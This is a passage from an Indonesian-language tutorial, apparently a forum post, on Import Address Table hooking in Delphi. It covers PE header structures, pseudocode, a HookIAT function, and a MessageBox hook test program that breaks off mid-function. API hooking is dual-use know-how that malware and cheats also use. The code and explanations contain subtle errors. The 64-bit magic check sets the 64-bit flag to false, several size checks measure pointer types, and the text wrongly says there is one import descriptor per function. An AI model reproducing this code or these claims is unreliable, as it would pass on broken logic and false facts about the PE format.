Pada kernel mode saya juga belom mengerti betul bagaimana cara kerjanya dan kekurangan dari delphi sendiri yang belum bisa untuk compile driver So mohon dimaapkan atas kekurangan informasi tentang itu .

kembali pada tahapan2 process pemangilan fungsi terlihat beberapa lompatan2 yang terjadi sebelum fungsi ini sampai ke ntdll (usermode = ntdll). Nah dari lompatan2 itu muncul pertanyaan bagaimana kalau alamat referensi dari tahapan diubah ke alamat fungsi lain ? tentu saja tiap pemanggilan dari fungsi itu maka yang dipanggil sebenarnya fungsi baru. seperti contoh pada telpon deh kejadiannya hehehe .

Mungkin sekian gambaran awal tentang bagaimana hooking bekerja lebih jelas tentang process dan implementasi kodenya anda bisa cari digoogle heuheue. Gak ding maksud saya pembahasan selanjutnya :P.
4. Structure PE

Untuk bisa mengubah IAT kita diharuskan untuk mengetahui structure dari PE. Pada tulisan ini, saya tidak menjelaskan secara gamblang structure pe ini tapi hanya terfocus ke IAT. Adapun bila anda ingin mempelajari lebih tentang Structure PE ini maka saya menganjurkan anda untuk membaca "Portable Executable File Format – A Reverse Engineer View by Goppit".

Windows mempunyai berbagai jenis file tipe yang dimana structure dari tiap file ini berbeda - beda. Executable file pada windows pun mempunya structurenya sendiri, yang dimana structure inilah yang sering kita sebut PE atau Portable Executable. Bagaimana Structure dari PE file ? PE file terdiri dari 3 structure penting yaitu Dos Header, PE Header , dan Section table. Tapi berhubung ini cuman sampai pada IAT so section table tidak dijelaskan :P.
1. DosHeader :

Code:

_IMAGE_DOS_HEADER = record
e_magic: Word; // Magic number
e_cblp: Word; // Bytes on last page of file
e_cp: Word; // Pages in file
e_crlc: Word; // Relocations
e_cparhdr: Word; // Size of header in paragraphs
e_minalloc: Word; // Minimum extra paragraphs needed
e_maxalloc: Word; // Maximum extra paragraphs needed
e_ss: Word; // Initial (relative) SS value
e_sp: Word; // Initial SP value
e_csum: Word; // Checksum
e_ip: Word; // Initial IP value
e_cs: Word; // Initial (relative) CS value
e_lfarlc: Word; // File address of relocation table
e_ovno: Word; // Overlay number
e_res: array [0..3] of Word; // Reserved words
e_oemid: Word; // OEM identifier (for e_oeminfo)
e_oeminfo: Word; // OEM information; e_oemid specific
e_res2: array [0..9] of Word; // Reserved words
e_lfanew: Longint; // File address of new exe header
end;

Cukup diperhatikan pada e_magic dan e_lfanew. Maksudnya :

e_magic : Nilainya $5A4D (MZ) untuk valid dos header.
e_lfanew : Nilainya merupakan alamat dari PE Header.
2. PE Header :

Code:

_IMAGE_NT_HEADERS = record
Signature: DWORD;
FileHeader: IMAGE_FILE_HEADER;
OptionalHeader: IMAGE_OPTIONAL_HEADER32;
end;

* PE Header Signature : Nilainya $00004550 (PE00) untuk valid PE Header.
* FileHeader: Merupakan structure yang formatntya seperti ini :
Code:


_IMAGE_FILE_HEADER = record
Machine: WORD;
NumberOfSections: WORD;
TimeDateStamp: DWORD;
PointerToSymbolTable: DWORD;
NumberOfSymbols: DWORD;
SizeOfOptionalHeader: WORD;
Characteristics: WORD;
end;

Yang penting dari FileHeader ini adalah NumberOfSections (banyaknya section pada file) dan Characteristics ( untuk mengetahui characteristic dai PE file misalnya apakah file itu Exe atau dll).
* OptionalHeader : Sama seperti fileheader, optional header juga merupakan structure tapi yang perlu digaris bawahi disini adalah terdapat 2 jenis optionalHeader yang dimana 32 dan 64 . Untuk mengetahui tipe dari optional header ini bisa dilihat dari magicnya, adapun magicnya yaitu $10b untuk yang 32 dan $20b untuk yang 64.

32 :
Code:

_IMAGE_OPTIONAL_HEADER = record
//
// Standard fields.
//
Magic: Word;
MajorLinkerVersion: Byte;
MinorLinkerVersion: Byte;
SizeOfCode: DWORD;
SizeOfInitializedData: DWORD;
SizeOfUninitializedData: DWORD;
AddressOfEntryPoint: DWORD;
BaseOfCode: DWORD;
BaseOfData: DWORD;
//
// NT additional fields.
//
ImageBase: DWORD;
SectionAlignment: DWORD;
FileAlignment: DWORD;
MajorOperatingSystemVersion: Word;
MinorOperatingSystemVersion: Word;
MajorImageVersion: Word;
MinorImageVersion: Word;
MajorSubsystemVersion: Word;
MinorSubsystemVersion: Word;
Win32VersionValue: DWORD;
SizeOfImage: DWORD;
SizeOfHeaders: DWORD;
CheckSum: DWORD;
Subsystem: Word;
DllCharacteristics: Word;
SizeOfStackReserve: DWORD;
SizeOfStackCommit: DWORD;
SizeOfHeapReserve: DWORD;
SizeOfHeapCommit: DWORD;
LoaderFlags: DWORD;
NumberOfRvaAndSizes: DWORD;
DataDirectory: array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of IMAGE_DATA_DIRECTORY;
end;

64:
Code:

_IMAGE_OPTIONAL_HEADER64 = record
Magic: Word;
MajorLinkerVersion: Byte;
MinorLinkerVersion: Byte;
SizeOfCode: DWORD;
SizeOfInitializedData: DWORD;
SizeOfUninitializedData: DWORD;
AddressOfEntryPoint: DWORD;
BaseOfCode: DWORD;
ImageBase: Int64;
SectionAlignment: DWORD;
FileAlignment: DWORD;
MajorOperatingSystemVersion: Word;
MinorOperatingSystemVersion: Word;
MajorImageVersion: Word;
MinorImageVersion: Word;
MajorSubsystemVersion: Word;
MinorSubsystemVersion: Word;
Win32VersionValue: DWORD;
SizeOfImage: DWORD;
SizeOfHeaders: DWORD;
CheckSum: DWORD;
Subsystem: Word;
DllCharacteristics: Word;
SizeOfStackReserve: Int64;
SizeOfStackCommit: Int64;
SizeOfHeapReserve: Int64;
SizeOfHeapCommit: Int64;
LoaderFlags: DWORD;
NumberOfRvaAndSizes: DWORD;
DataDirectory: array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of IMAGE_DATA_DIRECTORY;
end;

Pada Optional Header ini banyak informasi penting tersimpan didalamnya seperti imagebase, AddressOfEntryPoint, SectionAlignment, FileAlignment, SizeOfImage, SizeOfHeaders dan DataDirectory.


Kita telah sampai pada DataDirectory yang dimana merupakan tempat letak dari IAT dan tentu saja telah masuk pada akhir penjelajahan PE Structure.

DataDirectory :

DataDirectory merupakan array dari IMAGE_DATA_DIRECTORY yang dimana berjumlah 16 adapun kita cuman berfokus pada IMAGE_DIRECTORY_ENTRY_IMPORT. Oh iya hampir kelupa structure dari IMAGE_DATA_DIRECTORY adalah sebagai berikut :
Code:

_IMAGE_DATA_DIRECTORY = record
VirtualAddress: DWORD;
Size: DWORD;
end;

VirtualAddress pada IMAGE_DATA_DIRECTORY adalah alamat dari data sesuai image_data_directorynya jadi misalnya kita mengakses IMAGE_DIRECTORY_ENTRY_IMPORT maka virtualaddress akan berpacu ke data yang dimana data ini adalah structure dari _IMAGE_IMPORT_DIRECTORY.

IMAGE_IMPORT_DIRECTORY :

Sama Halnya DataDirectory, IMAGE_IMPORT_DIRECTORY juga merupakan sebuah array yang dimana array dari IMAGE_IMPORT_DESCRIPTOR. Misalnya terdapat 10 fungsi dari dll yang diload maka terdapat 10 IMAGE_IMPORT_DESCRIPTOR juga.

IMAGE_IMPORT_DESCRIPTOR :

IMAGE_IMPORT_DESCRIPTOR juga merupakan sebuah structure yang menyimpan informasi nama dll dan kumpulan fungsi yang diload dari dll itu.

Code:

TIIDUnion = record
case Integer of
0: (Characteristics: DWORD); // 0 for terminating null import descriptor
1: (OriginalFirstThunk: DWORD); // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
end;

_IMAGE_IMPORT_DESCRIPTOR = record
Union: TIIDUnion;
TimeDateStamp: DWORD; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)

ForwarderChain: DWORD; // -1 if no forwarders
Name: DWORD;
FirstThunk: DWORD; // RVA to IAT (if bound this IAT has actual addresses)
end;

Name merupakan rva dari nama dll sedangkan FirstThunk adalah rva dari awal array ImageThunk yang dimana ImageThunk menyimpan informasi tentang fungsi. Jadi apabila terdapat 10 fungsi yang diload dari ex kernel32 maka akan terdapat 10 imagethunk juga.
Code:

_IMAGE_THUNK_DATA32 = record
case Integer of
0: (ForwarderString: DWORD); // PBYTE
1: (Function_: DWORD); // PDWORD
2: (Ordinal: DWORD);
3: (AddressOfData: DWORD); // PIMAGE_IMPORT_BY_NAME
end;

Code:

PIMAGE_THUNK_DATA64 = ^IMAGE_THUNK_DATA64;
_IMAGE_THUNK_DATA64 = record
case Integer of
0: (ForwarderString: ULONGLONG); // PBYTE
1: (Function_: ULONGLONG); // PDWORD
2: (Ordinal: ULONGLONG);
3: (AddressOfData: ULONGLONG); // PIMAGE_IMPORT_BY_NAME
end;
IMAGE_THUNK_DATA64 = _IMAGE_THUNK_DATA64;

Ada 2 jenis Imagethunk yang mana 32 dan 64 (lihat optional header). Pada imagethunk 32 jarak antara nilainya adalah 4 byte (dword) sedangkan pada 64 jaraknya adalah 8 byte.

Sekian tentang structure pe yang mana hanya berfocus pada iat. Apabila anda merasa kurang jelas, saya minta maaf and silahkan lanjut ke pembahasan coding.
5. Coding

Untuk memulai menulis codenya maka dibutuhkan pseucode berdasarkan structure dari pe. Adapun pseucode sebagai berikut :
1. Load File yang dimana filenya adalah dll.
2. Masukkan nilai ke Dosheader serta melakukan validitasi Dos Header.
3. Menuju ke Dosheader__lfanew untuk mendapatkan PE Header.
4. Validitasi PE Header.
5. Mengisi IMAGE_IMPORT_DESCRIPTOR (array urutan pertama) yang dimana berada pada PEHeader>>OptionalHeader>>Datadirectory[1].virtualaddres
6. Perulangan 1 :
* Mengisi Nilai thunk yang berdasarkan alamat dari IMAGE_IMPORT_DESCRIPTOR.firstthunk
* Perulangan 2 :
o Mencari Target Function.
o Apabila Target Function ditemukan maka ganti alamat function Target Function dengan alamat new function.
o Menambahkan curent thunk sebanyak besarnya thunk untuk mendapatkan thunk selanjutnya.
o Apabila thunk bernilai nil menandakan tak ada lagi thunk pada current IMAGE_IMPORT_DESCRIPTOR maka keluar dari perulangan 2
* Menambahkan curent IMAGE_IMPORT_DESCRIPTOR sebanyak besarnya IMAGE_IMPORT_DESCRIPTOR untuk mendapatkan IMAGE_IMPORT_DESCRIPTOR selanjutnya
* Apabila IMAGE_IMPORT_DESCRIPTOR bernilai nil menandakan tak ada lagi IMAGE_IMPORT_DESCRIPTOR pada DataDirectory maka keluar dari perulangan 1


Dari pseudocode diatas codenya seperti ini :
Code:


Function HookIAT(Handle :THandle; oldfunction,Newfunction:pointer):boolean;
var
ppfn: ppointer;
IDH : PImageDosHeader absolute Handle;
INH32 : PIMAGE_NT_HEADERS32;
INH64 : PIMAGE_NT_HEADERS64;
IID : PIMAGE_IMPORT_DESCRIPTOR;
ITD32 : PIMAGE_THUNK_DATA32;
ITD64 :PIMAGE_THUNK_DATA64;
FileIs64 : bool;
num_written,SaveFlag : DWORD;
begin
result := false;
if (Handle = 0 ) or IsBadCodePtr(oldfunction) or IsBadCodePtr(Newfunction) then exit;
if IsBadReadPtrSize( IDH, SizeOf(TImageDosHeader) ) or
(IDH.e_magic <> IMAGE_DOS_SIGNATURE ) then exit;
INH32 := MakePtr(IDH, IDH._lfanew);
if IsBadReadPtrSize( INH32, SizeOf(PIMAGE_OPTIONAL_HEADER32)) or
(INH32.Signature <> IMAGE_NT_SIGNATURE) then exit;
if (INH32.OptionalHeader.Magic = $10B) then FileIs64 := false
else if (INH32.OptionalHeader.Magic = $20B) then FileIs64 := false
else exit;
if (not FileIs64) then begin
if (INH32.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = 0) then exit;
IID := MakePtr(IDH,INH32.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (IID.Name <> 0) do begin
ITD32 := MakePtr(IDH, Integer(IID.FirstThunk));
while (ITD32 <> nil) and (ITD32.Function_ <> 0) do begin
ppfn := @(ITD32.Function_);
if PDWORD(ppfn^) = PDWORD(oldfunction) then begin
VirtualProtect(ppfn, sizeof(dword), PAGE_READWRITE, @SaveFlag);
WriteProcessMemory( GetCurrentProcess(), ppfn, @Newfunction, SizeOf(dword),num_written);
VirtualProtect(ppfn, sizeof(dword), SaveFlag , @SaveFlag);
result := true;
end;
inc(ITD32);
end;
inc(IID);
end;
end else begin
INH64 := MakePtr(IDH, IDH._lfanew);
if IsBadReadPtrSize( INH64, SizeOf(PIMAGE_OPTIONAL_HEADER64)) or
(INH64.Signature <> IMAGE_NT_SIGNATURE) then exit;
if (INH64.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = 0) then exit;
IID := MakePtr(IDH,INH64.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (IID.Name <> 0) do begin
ITD64 := MakePtr(IDH, Integer(IID.FirstThunk));
while (ITD64 <> nil) and (ITD64.Function_ <> 0) do begin
ppfn := @(ITD64.Function_);
if PDWORD(ppfn^) = PDWORD(oldfunction) then begin
VirtualProtect(ppfn, sizeof(ULONGLONG), PAGE_READWRITE, @SaveFlag);
WriteProcessMemory( GetCurrentProcess(), ppfn, @Newfunction, sizeof(ULONGLONG),num_written);
VirtualProtect(ppfn, sizeof(ULONGLONG), SaveFlag , @SaveFlag);
result := true;
end;
inc(ITD64);
end;
inc(IID);
end;
end;
end;

Code lengkap beserta tambahan function untuk pointer handlenya :
Code:


type
PIMAGE_OPTIONAL_HEADER32 = ^IMAGE_OPTIONAL_HEADER32;
_IMAGE_OPTIONAL_HEADER = record
Magic: Word;
MajorLinkerVersion: Byte;
MinorLinkerVersion: Byte;
SizeOfCode: DWORD;
SizeOfInitializedData: DWORD;
SizeOfUninitializedData: DWORD;
AddressOfEntryPoint: DWORD;
BaseOfCode: DWORD;
BaseOfData: DWORD;
ImageBase: DWORD;
SectionAlignment: DWORD;
FileAlignment: DWORD;
MajorOperatingSystemVersion: Word;
MinorOperatingSystemVersion: Word;
MajorImageVersion: Word;
MinorImageVersion: Word;
MajorSubsystemVersion: Word;
MinorSubsystemVersion: Word;
Win32VersionValue: DWORD;
SizeOfImage: DWORD;
SizeOfHeaders: DWORD;
CheckSum: DWORD;
Subsystem: Word;
DllCharacteristics: Word;
SizeOfStackReserve: DWORD;
SizeOfStackCommit: DWORD;
SizeOfHeapReserve: DWORD;
SizeOfHeapCommit: DWORD;
LoaderFlags: DWORD;
NumberOfRvaAndSizes: DWORD;
DataDirectory: array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of IMAGE_DATA_DIRECTORY;
end;
IMAGE_OPTIONAL_HEADER32 = _IMAGE_OPTIONAL_HEADER;

PIMAGE_OPTIONAL_HEADER64 = ^IMAGE_OPTIONAL_HEADER64;
_IMAGE_OPTIONAL_HEADER64 = record
Magic: Word;
MajorLinkerVersion: Byte;
MinorLinkerVersion: Byte;
SizeOfCode: DWORD;
SizeOfInitializedData: DWORD;
SizeOfUninitializedData: DWORD;
AddressOfEntryPoint: DWORD;
BaseOfCode: DWORD;
ImageBase: Int64;
SectionAlignment: DWORD;
FileAlignment: DWORD;
MajorOperatingSystemVersion: Word;
MinorOperatingSystemVersion: Word;
MajorImageVersion: Word;
MinorImageVersion: Word;
MajorSubsystemVersion: Word;
MinorSubsystemVersion: Word;
Win32VersionValue: DWORD;
SizeOfImage: DWORD;
SizeOfHeaders: DWORD;
CheckSum: DWORD;
Subsystem: Word;
DllCharacteristics: Word;
SizeOfStackReserve: Int64;
SizeOfStackCommit: Int64;
SizeOfHeapReserve: Int64;
SizeOfHeapCommit: Int64;
LoaderFlags: DWORD;
NumberOfRvaAndSizes: DWORD;
DataDirectory: array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of IMAGE_DATA_DIRECTORY;
end;
IMAGE_OPTIONAL_HEADER64 = _IMAGE_OPTIONAL_HEADER64;

PIMAGE_NT_HEADERS32 = ^IMAGE_NT_HEADERS32;
_IMAGE_NT_HEADERS = record
Signature: DWORD;
FileHeader: IMAGE_FILE_HEADER;
OptionalHeader: IMAGE_OPTIONAL_HEADER32;
end;
IMAGE_NT_HEADERS32 = _IMAGE_NT_HEADERS;

PIMAGE_NT_HEADERS64 = ^IMAGE_NT_HEADERS64;
_IMAGE_NT_HEADERS64 = record
Signature: DWORD;
FileHeader: IMAGE_FILE_HEADER;
OptionalHeader: IMAGE_OPTIONAL_HEADER64;
end;
IMAGE_NT_HEADERS64 = _IMAGE_NT_HEADERS64;

TIIDUnion = record
case Integer of
0: (Characteristics: DWORD); // 0 for terminating null import descriptor
1: (OriginalFirstThunk: DWORD); // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
end;

PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;
_IMAGE_IMPORT_DESCRIPTOR = record
Union: TIIDUnion;
TimeDateStamp: DWORD; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)

ForwarderChain: DWORD; // -1 if no forwarders
Name: DWORD;
FirstThunk: DWORD; // RVA to IAT (if bound this IAT has actual addresses)
end;
IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;

PIMAGE_THUNK_DATA32 = ^IMAGE_THUNK_DATA32;
_IMAGE_THUNK_DATA32 = record
case Integer of
0: (ForwarderString: DWORD); // PBYTE
1: (Function_: DWORD); // PDWORD
2: (Ordinal: DWORD);
3: (AddressOfData: DWORD); // PIMAGE_IMPORT_BY_NAME
end;
IMAGE_THUNK_DATA32 = _IMAGE_THUNK_DATA32;

PIMAGE_THUNK_DATA64 = ^IMAGE_THUNK_DATA64;
_IMAGE_THUNK_DATA64 = record
case Integer of
0: (ForwarderString: ULONGLONG); // PBYTE
1: (Function_: ULONGLONG); // PDWORD
2: (Ordinal: ULONGLONG);
3: (AddressOfData: ULONGLONG); // PIMAGE_IMPORT_BY_NAME
end;
IMAGE_THUNK_DATA64 = _IMAGE_THUNK_DATA64;


{****PointerCheck*********************************************************************}
function MakePtr( AAddr: Pointer; Shift: Integer ): Pointer;
begin
Result := Pointer( Integer(AAddr)+Shift );
end;
{---------------}
function IsBadReadPtrSize( Ptr: Pointer; Size: DWORD): Boolean;
var
mbi: TMemoryBasicInformation;
const
PAGE_READABLE = PAGE_READONLY or PAGE_EXECUTE_READWRITE or
PAGE_READWRITE or PAGE_EXECUTE_READ;
begin
Result := VirtualQuery(Ptr, mbi, SizeOf(mbi)) <> 0;
if Result then begin
Result := (mbi.Protect = PAGE_NOACCESS) or ((mbi.Protect and PAGE_READABLE) = 0);
if Result then exit;
if Ptr<>mbi.BaseAddress then Inc(Size, DWORD(Ptr) - DWORD(mbi.BaseAddress) );
if (Size<= mbi.RegionSize) then exit;
while True do begin
Result := (mbi.Protect = PAGE_NOACCESS) or ((mbi.Protect and PAGE_READABLE) = 0);
if Result or (Size<= mbi.RegionSize) then break;
Dec(Size, mbi.RegionSize);
Ptr := Pointer(DWORD(mbi.BaseAddress) + mbi.RegionSize + 1);
if VirtualQuery(Ptr, mbi, SizeOf(mbi)) = 0 then begin
Result := True;
break;
end;
end;
end;
end;
{---------------}
function IsBadWritePtrSize( Ptr: Pointer; Size: DWORD): Boolean;
var
mbi: TMemoryBasicInformation;
const
PAGE_WRITABLE = PAGE_EXECUTE_WRITECOPY or PAGE_EXECUTE_READWRITE or
PAGE_READWRITE or PAGE_WRITECOPY;
begin
Result := VirtualQuery(Ptr, mbi, SizeOf(mbi)) <> 0;
if Result then begin
Result := (mbi.Protect = PAGE_NOACCESS) or ((mbi.Protect and PAGE_WRITABLE)= 0);
if Result then exit;
if Ptr<>mbi.BaseAddress then Inc(Size, DWORD(Ptr) - DWORD(mbi.BaseAddress) );
if (Size<= mbi.RegionSize) then exit;
while True do begin
Result := (mbi.Protect = PAGE_NOACCESS) or ((mbi.Protect and PAGE_WRITABLE)= 0);
if Result or (Size<= mbi.RegionSize) then break;
Dec(Size, mbi.RegionSize);
Ptr := Pointer(DWORD(mbi.BaseAddress) + mbi.RegionSize + 1);
if VirtualQuery(Ptr, mbi, SizeOf(mbi)) = 0 then begin
Result := True;
break;
end;
end;
end;
end;
{******************************************************************************}

Function HookIAT(Handle :THandle; oldfunction,Newfunction:pointer):boolean;
var
ppfn: ppointer;
IDH : PImageDosHeader absolute Handle;
INH32 : PIMAGE_NT_HEADERS32;
INH64 : PIMAGE_NT_HEADERS64;
IID : PIMAGE_IMPORT_DESCRIPTOR;
ITD32 : PIMAGE_THUNK_DATA32;
ITD64 :PIMAGE_THUNK_DATA64;
FileIs64 : bool;
num_written,SaveFlag : DWORD;
begin
result := false;
if (Handle = 0 ) or IsBadCodePtr(oldfunction) or IsBadCodePtr(Newfunction) then exit;
if IsBadReadPtrSize( IDH, SizeOf(TImageDosHeader) ) or
(IDH.e_magic <> IMAGE_DOS_SIGNATURE ) then exit;
INH32 := MakePtr(IDH, IDH._lfanew);
if IsBadReadPtrSize( INH32, SizeOf(PIMAGE_OPTIONAL_HEADER32)) or
(INH32.Signature <> IMAGE_NT_SIGNATURE) then exit;
if (INH32.OptionalHeader.Magic = $10B) then FileIs64 := false
else if (INH32.OptionalHeader.Magic = $20B) then FileIs64 := false
else exit;
if (not FileIs64) then begin
if (INH32.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = 0) then exit;
IID := MakePtr(IDH,INH32.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (IID.Name <> 0) do begin
ITD32 := MakePtr(IDH, Integer(IID.FirstThunk));
while (ITD32 <> nil) and (ITD32.Function_ <> 0) do begin
ppfn := @(ITD32.Function_);
if PDWORD(ppfn^) = PDWORD(oldfunction) then begin
VirtualProtect(ppfn, sizeof(dword), PAGE_READWRITE, @SaveFlag);
WriteProcessMemory( GetCurrentProcess(), ppfn, @Newfunction, SizeOf(dword),num_written);
VirtualProtect(ppfn, sizeof(dword), SaveFlag , @SaveFlag);
result := true;
end;
inc(ITD32);
end;
inc(IID);
end;
end else begin
INH64 := MakePtr(IDH, IDH._lfanew);
if IsBadReadPtrSize( INH64, SizeOf(PIMAGE_OPTIONAL_HEADER64)) or
(INH64.Signature <> IMAGE_NT_SIGNATURE) then exit;
if (INH64.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = 0) then exit;
IID := MakePtr(IDH,INH64.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (IID.Name <> 0) do begin
ITD64 := MakePtr(IDH, Integer(IID.FirstThunk));
while (ITD64 <> nil) and (ITD64.Function_ <> 0) do begin
ppfn := @(ITD64.Function_);
if PDWORD(ppfn^) = PDWORD(oldfunction) then begin
VirtualProtect(ppfn, sizeof(ULONGLONG), PAGE_READWRITE, @SaveFlag);
WriteProcessMemory( GetCurrentProcess(), ppfn, @Newfunction, sizeof(ULONGLONG),num_written);
VirtualProtect(ppfn, sizeof(ULONGLONG), SaveFlag , @SaveFlag);
result := true;
end;
inc(ITD64);
end;
inc(IID);
end;
end;
end;

Testing Hooking Messagebox
Code:


program Project1;

uses
windows;

type
PIMAGE_OPTIONAL_HEADER32 = ^IMAGE_OPTIONAL_HEADER32;
_IMAGE_OPTIONAL_HEADER = record
Magic: Word;
MajorLinkerVersion: Byte;
MinorLinkerVersion: Byte;
SizeOfCode: DWORD;
SizeOfInitializedData: DWORD;
SizeOfUninitializedData: DWORD;
AddressOfEntryPoint: DWORD;
BaseOfCode: DWORD;
BaseOfData: DWORD;
ImageBase: DWORD;
SectionAlignment: DWORD;
FileAlignment: DWORD;
MajorOperatingSystemVersion: Word;
MinorOperatingSystemVersion: Word;
MajorImageVersion: Word;
MinorImageVersion: Word;
MajorSubsystemVersion: Word;
MinorSubsystemVersion: Word;
Win32VersionValue: DWORD;
SizeOfImage: DWORD;
SizeOfHeaders: DWORD;
CheckSum: DWORD;
Subsystem: Word;
DllCharacteristics: Word;
SizeOfStackReserve: DWORD;
SizeOfStackCommit: DWORD;
SizeOfHeapReserve: DWORD;
SizeOfHeapCommit: DWORD;
LoaderFlags: DWORD;
NumberOfRvaAndSizes: DWORD;
DataDirectory: array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of IMAGE_DATA_DIRECTORY;
end;
IMAGE_OPTIONAL_HEADER32 = _IMAGE_OPTIONAL_HEADER;

PIMAGE_OPTIONAL_HEADER64 = ^IMAGE_OPTIONAL_HEADER64;
_IMAGE_OPTIONAL_HEADER64 = record
Magic: Word;
MajorLinkerVersion: Byte;
MinorLinkerVersion: Byte;
SizeOfCode: DWORD;
SizeOfInitializedData: DWORD;
SizeOfUninitializedData: DWORD;
AddressOfEntryPoint: DWORD;
BaseOfCode: DWORD;
ImageBase: Int64;
SectionAlignment: DWORD;
FileAlignment: DWORD;
MajorOperatingSystemVersion: Word;
MinorOperatingSystemVersion: Word;
MajorImageVersion: Word;
MinorImageVersion: Word;
MajorSubsystemVersion: Word;
MinorSubsystemVersion: Word;
Win32VersionValue: DWORD;
SizeOfImage: DWORD;
SizeOfHeaders: DWORD;
CheckSum: DWORD;
Subsystem: Word;
DllCharacteristics: Word;
SizeOfStackReserve: Int64;
SizeOfStackCommit: Int64;
SizeOfHeapReserve: Int64;
SizeOfHeapCommit: Int64;
LoaderFlags: DWORD;
NumberOfRvaAndSizes: DWORD;
DataDirectory: array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of IMAGE_DATA_DIRECTORY;
end;
IMAGE_OPTIONAL_HEADER64 = _IMAGE_OPTIONAL_HEADER64;

PIMAGE_NT_HEADERS32 = ^IMAGE_NT_HEADERS32;
_IMAGE_NT_HEADERS = record
Signature: DWORD;
FileHeader: IMAGE_FILE_HEADER;
OptionalHeader: IMAGE_OPTIONAL_HEADER32;
end;
IMAGE_NT_HEADERS32 = _IMAGE_NT_HEADERS;

PIMAGE_NT_HEADERS64 = ^IMAGE_NT_HEADERS64;
_IMAGE_NT_HEADERS64 = record
Signature: DWORD;
FileHeader: IMAGE_FILE_HEADER;
OptionalHeader: IMAGE_OPTIONAL_HEADER64;
end;
IMAGE_NT_HEADERS64 = _IMAGE_NT_HEADERS64;

TIIDUnion = record
case Integer of
0: (Characteristics: DWORD); // 0 for terminating null import descriptor
1: (OriginalFirstThunk: DWORD); // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
end;

PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;
_IMAGE_IMPORT_DESCRIPTOR = record
Union: TIIDUnion;
TimeDateStamp: DWORD; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)

ForwarderChain: DWORD; // -1 if no forwarders
Name: DWORD;
FirstThunk: DWORD; // RVA to IAT (if bound this IAT has actual addresses)
end;
IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;

PIMAGE_THUNK_DATA32 = ^IMAGE_THUNK_DATA32;
_IMAGE_THUNK_DATA32 = record
case Integer of
0: (ForwarderString: DWORD); // PBYTE
1: (Function_: DWORD); // PDWORD
2: (Ordinal: DWORD);
3: (AddressOfData: DWORD); // PIMAGE_IMPORT_BY_NAME
end;
IMAGE_THUNK_DATA32 = _IMAGE_THUNK_DATA32;

PIMAGE_THUNK_DATA64 = ^IMAGE_THUNK_DATA64;
_IMAGE_THUNK_DATA64 = record
case Integer of
0: (ForwarderString: ULONGLONG); // PBYTE
1: (Function_: ULONGLONG); // PDWORD
2: (Ordinal: ULONGLONG);
3: (AddressOfData: ULONGLONG); // PIMAGE_IMPORT_BY_NAME
end;
IMAGE_THUNK_DATA64 = _IMAGE_THUNK_DATA64;


{****PointerCheck*********************************************************************}
function MakePtr( AAddr: Pointer; Shift: Integer ): Pointer;
begin
Result := Pointer( Integer(AAddr)+Shift );
end;
{---------------}
function IsBadReadPtrSize( Ptr: Pointer; Size: DWORD): Boolean;
var
mbi: TMemoryBasicInformation;
const
PAGE_READABLE = PAGE_READONLY or PAGE_EXECUTE_READWRITE or
PAGE_READWRITE or PAGE_EXECUTE_READ;
begin
Result := VirtualQuery(Ptr, mbi, SizeOf(mbi)) <> 0;
if Result then begin
Result := (mbi.Protect = PAGE_NOACCESS) or ((mbi.Protect and PAGE_READABLE) = 0);
if Result then exit;
if Ptr<>mbi.BaseAddress then Inc(Size, DWORD(Ptr) - DWORD(mbi.BaseAddress) );
if (Size<= mbi.RegionSize) then exit;
while True do begin
Result := (mbi.Protect = PAGE_NOACCESS) or ((mbi.Protect and PAGE_READABLE) = 0);
if Result or (Size<= mbi.RegionSize) then break;
Dec(Size, mbi.RegionSize);
Ptr := Pointer(DWORD(mbi.BaseAddress) + mbi.RegionSize + 1);
if VirtualQuery(Ptr, mbi, SizeOf(mbi)) = 0 then begin
Result := True;
break;
end;
end;
end;
end;
{---------------}
function IsBadWritePtrSize( Ptr: Pointer; Size: DWORD): Boolean;
var
mbi: TMemoryBasicInformation;
const
PAGE_WRITABLE = PAGE_EXECUTE_WRITECOPY or PAGE_EXECUTE_READWRITE or
PAGE_READWRITE or PAGE_WRITECOPY;
begin
Result := VirtualQuery(Ptr, mbi, SizeOf(mbi)) <> 0;
if Result then begin
Result := (mbi.Protect = PAGE_NOACCESS) or ((mbi.Protect and PAGE_WRITABLE)= 0);
if Result then exit;
if Ptr<>mbi.BaseAddress then Inc(Size, DWORD(Ptr) - DWORD(mbi.BaseAddress) );
if (Size<= mbi.RegionSize) then exit;
while True do begin
Result := (mbi.Protect = PAGE_NOACCESS) or ((mbi.Protect and PAGE_WRITABLE)= 0);
